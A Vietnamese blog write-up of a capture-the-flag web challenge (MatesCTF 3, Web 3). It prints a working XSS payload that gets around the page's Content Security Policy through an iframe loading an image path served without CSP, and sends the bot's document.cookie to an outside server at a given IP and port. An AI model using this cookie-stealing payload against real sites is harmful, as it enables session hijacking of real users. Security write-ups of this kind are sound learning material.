MATESCTF 3 ROUND 1 (WEB 3)

Mình đã từng chơi matesctf qua nhiều mùa giải và trong số những bài mình giải được thì mình cảm thấy bài này là bài hay nhất, tuy nhiên hay với cách là unintend mà mình mới học được.
Nói qua một chút về cách mà tác giả muốn

Intent Solution:
Thực ra tác giả ra bài này nó tiết lộ cách giải bài này qua một bình luận trên facebook của mình khi mình đăng write up bài “Song Kiếm” của giải ISITDTU CTF Final 2018. Ý tưởng là dùng CSP để chặn con bot không leak được cookie ra ngoài mà chỉ dùng con bot đẩy cookie vào bảng flag bằng một lỗi sql injection (à quên, đó là một tính năng), sau đó dùng một lỗi sql injection để lấy flag ra. Mình sẽ không write up cách này vì mình đoán sẽ có người viết sau [:D]

nhá hàng phát.

Unintent Solution:
Trong quá khứ, mình đã từng có một thời bị bắt phải viết Content Security Policy, cũng bị chửi nhiều, nhiều lần bị thọt tính sẵn sàng, nhiều lần bị thọt về tính bảo mật [:'(], nên cũng có chút kinh nghiệm với cái này.

Nhìn thì có vẻ khá an toàn nhỉ, có vẻ là chắc bot sẽ không thể đem cookie đi qua được đường này được.
Tuy nhiên

Trong một khía cạnh khác, Content Security Policy lại không được cài đặt, điều này có nghĩa không phải là không thể đưa dữ liệu từ bot ra ngoài được. Nếu mình đoán không nhầm thì cookie sẽ được đặt ở domain 125.235.240.166 hoặc cùng lắm là ở 125.235.240.166/web3/.
Tới đây mình sẽ hướng đến 1 vector để cho con bot sẽ phải đi qua lộ trình như sau:
Điểm thứ 1: 125.235.240.166/web3/ -> CSP
Điểm thứ 2: 125.235.240.166/web3/background.png -> Không có CSP
Điểm thứ 3: server của mình

Cách dễ nhất để tạo cầu nối là dùng iframe:
Bước 1: Mình sẽ tạo một iframe với src=”/web3/background.jpg”, lúc này khi browser check CSP sẽ OK.
Bước 2: Ở ngoài sẽ có CSP, tuy nhiên bên trong iframe sẽ không có CSP vì URL lúc này đang là 125.235.240.166/web3/background.png , do đó mình sẽ tạo một tag img với đường link về server mình kèm với cookie ở trong iframe tạo ở bước 1 và không có rào cản nào [:D].
Bước 3: Xây dựng payload
http://125.235.240.166/web3/?feature=comments&comment=%3Cscript%3Ef=document.createElement(%22iframe%22);f.id=%22bechanh%22;f.src=%22/web3/background.jpg%22;f.onload=()=%3E{x=document.createElement(%27img%27);x.src=%27//35.231.54.0:13337/%27%2bdocument.cookie;bechanh.contentWindow.document.body.appendChild(x)};document.body.appendChild(f);%3C/script%3E
Nguyên văn:

f=document.createElement("iframe");f.id="bechanh";f.src="/web3/background.jpg";f.onload=()=>{x=document.createElement('img');x.src='//35.231.54.0:13337/'+document.cookie;bechanh.contentWindow.document.body.appendChild(x)};document.body.appendChild(f);

Thử tự lấy cookie của mình

Xong rồi giờ mình gửi cho bot

Một suy nghĩ 1 thoughts on “MATESCTF 3 ROUND 1 (WEB 3)

Trả lời

Điền thông tin vào ô dưới đây hoặc nhấn vào một biểu tượng để đăng nhập:

WordPress.com Logo

Bạn đang bình luận bằng tài khoản WordPress.com Đăng xuất /  Thay đổi )

Twitter picture

Bạn đang bình luận bằng tài khoản Twitter Đăng xuất /  Thay đổi )

Facebook photo

Bạn đang bình luận bằng tài khoản Facebook Đăng xuất /  Thay đổi )

Connecting to %s